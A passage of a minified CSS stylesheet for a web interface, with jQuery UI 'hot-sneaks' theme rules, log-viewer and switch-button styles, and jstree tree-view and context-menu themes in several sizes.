-144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px!important}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{-webkit-border-top-left-radius:4px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{-webkit-border-top-right-radius:4px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{-webkit-border-bottom-left-radius:4px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{-webkit-border-bottom-right-radius:4px}.ui-widget-overlay{background:#f7f7ba url(assets/jqueryui/hot-sneaks/images/ui-bg_white-lines_85_f7f7ba_40x100.png) 50% 50% repeat;opacity:.8;filter:Alpha(Opacity=80)}.ui-widget-shadow{-webkit-box-shadow:8px 8px 10px #ba9217}.hourglass{background:url(assets/jqueryui/hot-sneaks/images/hourglass-dark-red.gif)}.progress-val{position:absolute;font-weight:700;color:#e1e463;text-shadow:-1px -1px 0 #333333,0 -1px 0 #333333,1px -1px 0 #333333,1px 0 0 #333333,1px 1px 0 #333333,0 1px 0 #333333,-1px 1px 0 #333333,-1px 0 0 #333;width:88.5%;text-align:center;vertical-align:middle;height:10%;padding:5px 0 0 0}.icon{vertical-align:middle!important;margin-top:-0.25em!important;margin-right:0.25em!important;height:16px!important;width:16px!important;background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_454545_256x240.png)!important}.header-label{font-size:10pt;white-space:pre}.header-label.off{color:#a3b1c2;text-shadow:-1px -1px 0 #333333,0 -1px 0 #333333,1px -1px 0 #333333,1px 0 0 #333333,1px 1px 0 #333333,0 1px 0 #333333,-1px 1px 0 #333333,-1px 0 0 #333}.header-label.on{color:#e1e463;text-shadow:-1px -1px 0 #333333,0 -1px 0 #333333,1px -1px 0 #333333,1px 0 0 #333333,1px 1px 0 #333333,0 1px 0 #333333,-1px 1px 0 #333333,-1px 0 0 #333}.switch-button-label{float:left;font-size:10pt;cursor:pointer;white-space:pre}.switch-button-label.off{color:#a3b1c2;text-shadow:-1px -1px 0 #333333,0 -1px 0 #333333,1px -1px 0 #333333,1px 0 0 #333333,1px 1px 0 #333333,0 1px 0 #333333,-1px 1px 0 #333333,-1px 0 0 #333}.switch-button-label.on{color:#e1e463;text-shadow:-1px -1px 0 #333333,0 -1px 0 #333333,1px -1px 0 #333333,1px 0 0 #333333,1px 1px 0 #333333,0 1px 0 #333333,-1px 1px 0 #333333,-1px 0 0 #333}.switch-button-background{float:left;position:relative;background:#ccd232;border:1px solid #ccd232;margin:1px 10px;-webkit-border-radius:6px;cursor:pointer}.switch-button-button{position:absolute;left:-1px;top:-1px;background:#db4865 url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_40_db4865_40x40.png) 50% 50% repeat;border:1px solid #ccd232}.switch-button-button.on{-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:6px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:6px}.switch-button-button.off{-webkit-border-top-left-radius:6px;-webkit-border-top-right-radius:0;-webkit-border-bottom-left-radius:6px;-webkit-border-bottom-right-radius:0}.intro-framed-textbox{border:1px solid #8D0000;-webkit-border-radius:4px;font-size:16px;text-align:center;font-weight:700;width:auto;margin:2em 5em 1em 5em;padding:.2em .2em .2em .2em}.log-info{font-size:14px;font-weight:700;color:#000!important}.log-warning{font-size:14px;font-weight:700;color:#ff9900!important}.log-error{font-size:14px;font-weight:700;color:#cc0000!important}.log-debug{font-size:14px;font-weight:700;color:#5B3004!important}.dropdown{position:relative;display:inline-block}.dropdown-content{display:none;position:absolute;color:#5B3004;background-color:#f9f9f9;min-width:350px;border:1px solid #aaa;-webkit-border-radius:4px;-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.2);padding:12px 16px;z-index:1}.dropdown:hover .dropdown-content{display:block}.icon-triangle{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_454545_256x240.png);background-position:-32px -16px}.dropdown:hover .icon-triangle{background-position:-48px -16px}.dd-centre{position:absolute;left:120px}.dd-right{float:right}.strict{font-size:12px;font-weight:700;color:#2c4359}.switcher{position:relative;left:20%}.log-options{position:absolute;top:70px;width:auto;left:12%;float:right;width:76%;padding:.5em 0 1em 0}.logoptions{-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:1px solid #2c4359;font-size:12px;text-align:center;font-weight:700}.btlogoptions{border:1px solid #2c4359;font-size:12px;text-align:center;font-weight:700}.window{border:2px solid #2c4359;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:210px;width:100%;min-width:100px;max-height:210px}.window-300{border:2px solid #2c4359;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:210px;width:300px;min-width:300px;max-height:210px}.window-250{border:2px solid #2c4359;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:auto;width:250px;min-width:250px;max-height:250px}.window-header{-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:0;padding:2px 10px 2px 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-content{-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px 10px;height:auto;width:auto;overflow:hidden}.window-content-top{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px 10px;height:auto;width:auto;overflow:hidden}.window-bottom{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:2px 10px 2px 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-bottom-small{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0 0 0 0;height:5px;width:auto;max-height:5px;min-height:5px;overflow:hidden}.table-header{width:100%}.txt-log{padding:0 5px 0 5px;overflow-wrap:break-word}.cont-log{min-height:540px;max-height:540px;position:relative;height:78%;margin:10px 25px 15px 25px;padding:10px 20px 10px 20px;-webkit-border-radius:6px;border:0}.preloader{background:#f7f7ba url(assets/jqueryui/hot-sneaks/images/ui-bg_white-lines_85_f7f7ba_40x100.png) 50% 50% repeat;position:fixed;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:100;opacity:.7}.jstree-node,.jstree-children,.jstree-container-ul{display:block;margin:0;padding:0;list-style-type:none;list-style-image:none}.jstree-node{white-space:nowrap}.jstree-anchor{display:inline-block;color:black;white-space:nowrap;padding:0 4px 0 1px;margin:0;vertical-align:top}.jstree-anchor:focus{outline:0}.jstree-anchor,.jstree-anchor:link,.jstree-anchor:visited,.jstree-anchor:hover,.jstree-anchor:active{text-decoration:none;color:inherit;-webkit-border-radius:2px}.jstree-icon{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-icon:empty{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-ocl{cursor:pointer}.jstree-leaf>.jstree-ocl{cursor:default}.jstree .jstree-open>.jstree-children{display:block}.jstree .jstree-closed>.jstree-children,.jstree .jstree-leaf>.jstree-children{display:none}.jstree-anchor>.jstree-themeicon{margin-right:2px}.jstree-no-icons .jstree-themeicon,.jstree-anchor>.jstree-themeicon-hidden{display:none}.jstree-hidden,.jstree-node.jstree-hidden{display:none}.jstree-rtl .jstree-anchor{padding:0 1px 0 4px}.jstree-rtl .jstree-anchor>.jstree-themeicon{margin-left:2px;margin-right:0}.jstree-rtl .jstree-node{margin-left:0}.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-wholerow-ul{position:relative;display:inline-block;min-width:100%}.jstree-wholerow-ul .jstree-leaf>.jstree-ocl{cursor:pointer}.jstree-wholerow-ul .jstree-anchor,.jstree-wholerow-ul .jstree-icon{position:relative}.jstree-wholerow-ul .jstree-wholerow{width:100%;cursor:pointer;position:absolute;left:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.jstree-contextmenu .jstree-anchor{-webkit-user-select:none;-webkit-touch-callout:none}.vakata-context{display:none}.vakata-context,.vakata-context ul{margin:0;padding:2px;position:absolute;background:#f5f5f5;border:1px solid #979797;-webkit-box-shadow:2px 2px 2px #999;box-shadow:2px 2px 2px #999}.vakata-context ul{list-style:none;left:100%;margin-top:-2.7em;margin-left:-4px}.vakata-context .vakata-context-right ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context li{list-style:none}.vakata-context li>a{display:block;padding:0 2em 0 2em;text-decoration:none;width:auto;color:black;white-space:nowrap;line-height:2.4em;text-shadow:1px 1px 0 white;-webkit-border-radius:1px;border-radius:1px}.vakata-context li>a:hover{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAIORI4JlrqN1oMSnmmZDQUAOw==);background-position:right center;background-repeat:no-repeat}.vakata-context li>a:focus{outline:0}.vakata-context .vakata-context-hover>a{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context .vakata-context-separator>a,.vakata-context .vakata-context-separator>a:hover{background:white;border:0;border-top:1px solid #e2e3e3;height:1px;min-height:1px;max-height:1px;padding:0;margin:0 0 0 2.4em;border-left:1px solid #e0e0e0;text-shadow:0 0 0 transparent;-webkit-box-shadow:0 0 0 transparent;box-shadow:0 0 0 transparent;-webkit-border-radius:0;border-radius:0}.vakata-context .vakata-contextmenu-disabled a,.vakata-context .vakata-contextmenu-disabled a:hover{color:silver;background-color:transparent;border:0;box-shadow:0 0 0}.vakata-context .vakata-contextmenu-disabled>a>i{filter:grayscale(100%)}.vakata-context li>a>i{text-decoration:none;display:inline-block;width:2.4em;height:2.4em;background:transparent;margin:0 0 0 -2em;vertical-align:top;text-align:center;line-height:2.4em}.vakata-context li>a>i:empty{width:2.4em;line-height:2.4em}.vakata-context li>a .vakata-contextmenu-sep{display:inline-block;width:1px;height:2.4em;background:white;margin:0 .5em 0 0;border-left:1px solid #e2e3e3}.vakata-context .vakata-contextmenu-shortcut{font-size:.8em;color:silver;opacity:.5;display:none}.vakata-context-rtl ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context-rtl li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAINjI+AC7rWHIsPtmoxLAA7);background-position:left center;background-repeat:no-repeat}.vakata-context-rtl .vakata-context-separator>a{margin:0 2.4em 0 0;border-left:0;border-right:1px solid #e2e3e3}.vakata-context-rtl .vakata-context-left ul{right:auto;left:100%;margin-left:-4px;margin-right:auto}.vakata-context-rtl li>a>i{margin:0 -2em 0 0}.vakata-context-rtl li>a .vakata-contextmenu-sep{margin:0 0 0 .5em;border-left-color:white;background:#e2e3e3}#jstree-marker{position:absolute;top:0;left:0;margin:-5px 0 0 0;padding:0;border-right:0;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid;width:0;height:0;font-size:0;line-height:0}#jstree-dnd{line-height:16px;margin:0;padding:4px}#jstree-dnd .jstree-icon,#jstree-dnd .jstree-copy{display:inline-block;text-decoration:none;margin:0 2px 0 0;padding:0;width:16px;height:16px}#jstree-dnd .jstree-ok{background:green}#jstree-dnd .jstree-er{background:red}#jstree-dnd .jstree-copy{margin:0 2px 0 2px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-repeat:no-repeat;background-color:transparent}.jstree-default .jstree-anchor,.jstree-default .jstree-animated,.jstree-default .jstree-wholerow{transition:background-color 0.15s,box-shadow 0.15s}.jstree-default .jstree-hovered{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-context{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-clicked{background:#beebff;-webkit- border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #999;box-shadow:inset 0 0 1px #999}.jstree-default .jstree-no-icons .jstree-anchor>.jstree-themeicon{display:none}.jstree-default .jstree-disabled{background:transparent;color:#666}.jstree-default .jstree-disabled.jstree-hovered{background:transparent;box-shadow:none}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-disabled>.jstree-icon{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default .jstree-search{font-style:italic;color:#8b0000;font-weight:700}.jstree-default .jstree-no-checkboxes .jstree-checkbox{display:none!important}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked{background:transparent;box-shadow:none}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked.jstree-hovered{background:#e7f4f9}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked{background:transparent}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked.jstree-wholerow-hovered{background:#e7f4f9}.jstree-default>.jstree-striped{min-width:100%;display:inline-block;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAkCAMAAAB/qqA+AAAABlBMVEUAAAAAAAClZ7nPAAAAAnRSTlMNAMM9s3UAAAAXSURBVHjajcEBAQAAAIKg/H/aCQZ70AUBjAATb6YPDgAAAABJRU5ErkJggg==) left top repeat}.jstree-default>.jstree-wholerow-ul .jstree-hovered,.jstree-default>.jstree-wholerow-ul .jstree-clicked{background:transparent;-webkit-box-shadow:none;box-shadow:none;-webkit-border-radius:0;border-radius:0}.jstree-default .jstree-wholerow{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.jstree-default .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default .jstree-wholerow-clicked{background:#beebff;background:-webkit-linear-gradient(top,#beebff 0%,#a8e4ff 100%);background:linear-gradient(to bottom,#beebff 0%,#a8e4ff 100%)}.jstree-default .jstree-node{min-height:24px;line-height:24px;margin-left:24px;min-width:24px}.jstree-default .jstree-anchor{line-height:24px;height:24px}.jstree-default .jstree-icon{width:24px;height:24px;line-height:24px}.jstree-default .jstree-icon:empty{width:24px;height:24px;line-height:24px}.jstree-default.jstree-rtl .jstree-node{margin-right:24px}.jstree-default .jstree-wholerow{height:24px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png)}.jstree-default .jstree-node{background-position:-292px -4px;background-repeat:repeat-y}.jstree-default .jstree-last{background:transparent}.jstree-default .jstree-open>.jstree-ocl{background-position:-132px -4px}.jstree-default .jstree-closed>.jstree-ocl{background-position:-100px -4px}.jstree-default .jstree-leaf>.jstree-ocl{background-position:-68px -4px}.jstree-default .jstree-themeicon{background-position:-260px -4px}.jstree-default>.jstree-no-dots .jstree-node,.jstree-default>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -4px}.jstree-default>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -4px}.jstree-default .jstree-disabled{background:transparent}.jstree-default .jstree-disabled.jstree-hovered{background:transparent}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-checkbox{background-position:-164px -4px}.jstree-default .jstree-checkbox:hover{background-position:-164px -36px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default .jstree-checked>.jstree-checkbox{background-position:-228px -4px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default .jstree-checked>.jstree-checkbox:hover{background-position:-228px -36px}.jstree-default .jstree-anchor>.jstree-undetermined{background-position:-196px -4px}.jstree-default .jstree-anchor>.jstree-undetermined:hover{background-position:-196px -36px}.jstree-default .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default>.jstree-striped{background-size:auto 48px}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default.jstree-rtl .jstree-open>.jstree-ocl{background-position:-132px -36px}.jstree-default.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-100px -36px}.jstree-default.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-68px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -36px}.jstree-default .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/hot-sneaks/images/throbber.gif) center center no-repeat}.jstree-default .jstree-file{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -100px -68px no-repeat}.jstree-default .jstree-folder{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -260px -4px no-repeat}.jstree-default>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default{line-height:24px;padding:0 4px}#jstree-dnd.jstree-default .jstree-ok,#jstree-dnd.jstree-default .jstree-er{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default i{background:transparent;width:24px;height:24px;line-height:24px}#jstree-dnd.jstree-default .jstree-ok{background-position:-4px -68px}#jstree-dnd.jstree-default .jstree-er{background-position:-36px -68px}.jstree-default .jstree-ellipsis{overflow:hidden}.jstree-default .jstree-ellipsis .jstree-anchor{width:calc(100% - 29px);text-overflow:ellipsis;overflow:hidden}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==)}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default-small .jstree-node{min-height:18px;line-height:18px;margin-left:18px;min-width:18px}.jstree-default-small .jstree-anchor{line-height:18px;height:18px}.jstree-default-small .jstree-icon{width:18px;height:18px;line-height:18px}.jstree-default-small .jstree-icon:empty{width:18px;height:18px;line-height:18px}.jstree-default-small.jstree-rtl .jstree-node{margin-right:18px}.jstree-default-small .jstree-wholerow{height:18px}.jstree-default-small .jstree-node,.jstree-default-small .jstree-icon{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png)}.jstree-default-small .jstree-node{background-position:-295px -7px;background-repeat:repeat-y}.jstree-default-small .jstree-last{background:transparent}.jstree-default-small .jstree-open>.jstree-ocl{background-position:-135px -7px}.jstree-default-small .jstree-closed>.jstree-ocl{background-position:-103px -7px}.jstree-default-small .jstree-leaf>.jstree-ocl{background-position:-71px -7px}.jstree-default-small .jstree-themeicon{background-position:-263px -7px}.jstree-default-small>.jstree-no-dots .jstree-node,.jstree-default-small>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -7px}.jstree-default-small>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -7px}.jstree-default-small .jstree-disabled{background:transparent}.jstree-default-small .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-small .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-small .jstree-checkbox{background-position:-167px -7px}.jstree-default-small .jstree-checkbox:hover{background-position:-167px -39px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-small .jstree-checked>.jstree-checkbox{background-position:-231px -7px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-small .jstree-checked>.jstree-checkbox:hover{background-position:-231px -39px}.jstree-default-small .jstree-anchor>.jstree-undetermined{background-position:-199px -7px}.jstree-default-small .jstree-anchor>.jstree-undetermined:hover{background-position:-199px -39px}.jstree-default-small .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-small>.jstree-striped{background-size:auto 36px}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-small.jstree-rtl .jstree-open>.jstree-ocl{background-position:-135px -39px}.jstree-default-small.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-103px -39px}.jstree-default-small.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-71px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -39px}.jstree-default-small .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-small>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/hot-sneaks/images/throbber.gif) center center no-repeat}.jstree-default-small .jstree-file{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -103px -71px no-repeat}.jstree-default-small .jstree-folder{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -263px -7px no-repeat}.jstree-default-small>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-small{line-height:18px;padding:0 4px}#jstree-dnd.jstree-default-small .jstree-ok,#jstree-dnd.jstree-default-small .jstree-er{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-small i{background:transparent;width:18px;height:18px;line-height:18px}#jstree-dnd.jstree-default-small .jstree-ok{background-position:-7px -71px}#jstree-dnd.jstree-default-small .jstree-er{background-position:-39px -71px}.jstree-default-small .jstree-ellipsis{overflow:hidden}.jstree-default-small .jstree-ellipsis .jstree-anchor{width:calc(100% - 23px);text-overflow:ellipsis;overflow:hidden}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAACAQMAAABv1h6PAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMHBgAAiABBI4gz9AAAAABJRU5ErkJggg==)}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-large .jstree-node{min-height:32px;line-height:32px;margin-left:32px;min-width:32px}.jstree-default-large .jstree-anchor{line-height:32px;height:32px}.jstree-default-large .jstree-icon{width:32px;height:32px;line-height:32px}.jstree-default-large .jstree-icon:empty{width:32px;height:32px;line-height:32px}.jstree-default-large.jstree-rtl .jstree-node{margin-right:32px}.jstree-default-large .jstree-wholerow{height:32px}.jstree-default-large .jstree-node,.jstree-default-large .jstree-icon{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png)}.jstree-default-large .jstree-node{background-position:-288px 0;background-repeat:repeat-y}.jstree-default-large .jstree-last{background:transparent}.jstree-default-large .jstree-open>.jstree-ocl{background-position:-128px 0}.jstree-default-large .jstree-closed>.jstree-ocl{background-position:-96px 0}.jstree-default-large .jstree-leaf>.jstree-ocl{background-position:-64px 0}.jstree-default-large .jstree-themeicon{background-position:-256px 0}.jstree-default-large>.jstree-no-dots .jstree-node,.jstree-default-large>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px 0}.jstree-default-large>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 0}.jstree-default-large .jstree-disabled{background:transparent}.jstree-default-large .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-large .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-large .jstree-checkbox{background-position:-160px 0}.jstree-default-large .jstree-checkbox:hover{background-position:-160px -32px}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-large .jstree-checked>.jstree-checkbox{background-position:-224px 0}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-large .jstree-checked>.jstree-checkbox:hover{background-position:-224px -32px}.jstree-default-large .jstree-anchor>.jstree-undetermined{background-position:-192px 0}.jstree-default-large .jstree-anchor>.jstree-undetermined:hover{background-position:-192px -32px}.jstree-default-large .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-large>.jstree-striped{background-size:auto 64px}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}.jstree-default-large.jstree-rtl .jstree-open>.jstree-ocl{background-position:-128px -32px}.jstree-default-large.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-96px -32px}.jstree-default-large.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-64px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px 